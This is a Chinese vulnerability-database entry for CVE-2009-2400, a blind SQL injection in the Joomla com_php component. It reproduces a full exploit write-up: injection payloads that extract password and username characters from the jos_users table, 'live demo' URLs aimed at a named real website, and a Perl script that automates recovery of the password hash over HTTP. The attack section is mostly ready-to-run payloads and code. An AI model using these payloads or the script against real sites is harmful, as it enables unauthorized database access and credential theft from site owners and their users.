fijiwebdesign com_php ID参数SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118037 漏洞类型 SQL注入
发布时间 2009-06-29 更新时间 2009-07-20
CVE编号 CVE-2009-2400 CNNVD-ID CNNVD-200907-149
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/9028
https://www.securityfocus.com/bid/35515
https://cxsecurity.com/issue/WLB-2009070126
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200907-149
|漏洞详情
PHP(com_php)componentforJoomla!的SQL注入漏洞会允许远程攻击者可以通过index.php参数ID来执行任意SQL命令。
|漏洞EXP
------------------------------------------------------------------------------
Joomla Component com_php (id) Blind SQL-injection Vulnerability
------------------------------------------------------------------------------


 #####################################################
 # [+] Author        :  Chip D3 Bi0s                 #
 # [+] Email         :  chipdebios[alt+64]gmail.com  #
 # [+] Vulnerability :  Blind SQL injection          #
 # [+] Group         :  LatinHackTeam                #
 #####################################################

**********************************************************************
 Info Cms:
 * @name      : PHP Component
 * @author    : gabe@fijiwebdesign.com
 * @copyright : (c) fijiwebdesign.com
 * @license   : http://www.fijiwebdesign.com/
 * @dowloand : http://code.google.com/p/joomla-php/downloads/list
**********************************************************************

Example:
http://localHost/path/index.php?option=com_php&Itemid=x&id=y<Sql Code>

x = number Itemid valid
y = number id valid

<Sql code>:

table jos_users:
+and+(select+1+from+jos_users+limit+0,1)=1

column password:
+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1

column username:
+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1

caracter ascii
+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))>57

etc, etc...

DEMO LIVE:

http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=1 
true

http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=2
else

http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=58
else

http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=57
true

note : in http://www.mercadominas.com.br
x = number Itemid valid    : 70
y = number id valid        : 131

Date and 1=1 & not and 1=2 : com_search --->use script

etc, etc....

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

if you want to save the work, you can use the following script,	
gives you password, you are free to modify it ;)
--------------------------------------------------------------------

#!/usr/bin/perl -w
use LWP::UserAgent;
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t                      |  Chip d3 Bi0s |                       \n\n";
print "\t\t Joomla Component com_php (id) Blind SQL-injection        \n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "[-] http://wwww.host.org/Path: ";
chomp(my $target=<STDIN>);
print "[-] Introduce Itemid: ";
chomp($itemid=<STDIN>);
print "[-] Introduce id: ";
chomp($id=<STDIN>);
print "[-] Dato para and 1=1 & no para and 1=2 : ";
chomp($z=<STDIN>);

print "[+] Password: ";
$column_name="concat(password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');


for ($x=1;$x<=32;$x++)
{            
  for ($c=48;$c<=57;$c++) 
{
 $host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c;

 my $res = $b->request(HTTP::Request->new(GET=>$host));
 my $content = $res->content;
 my $regexp = $z;
 if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
 }
for ($c=97;$c<=102;$c++) 
{
 $host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c;
 my $res = $b->request(HTTP::Request->new(GET=>$host));
 my $content = $res->content;
 my $regexp = $z;
 if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
 }
}

# milw0rm.com [2009-06-29]
|受影响的产品
Fiji Web Design joomla-php 0
|参考资料

来源:VUPEN
名称:ADV-2009-1732
链接:http://www.vupen.com/english/advisories/2009/1732
来源:BID
名称:35515
链接:http://www.securityfocus.com/bid/35515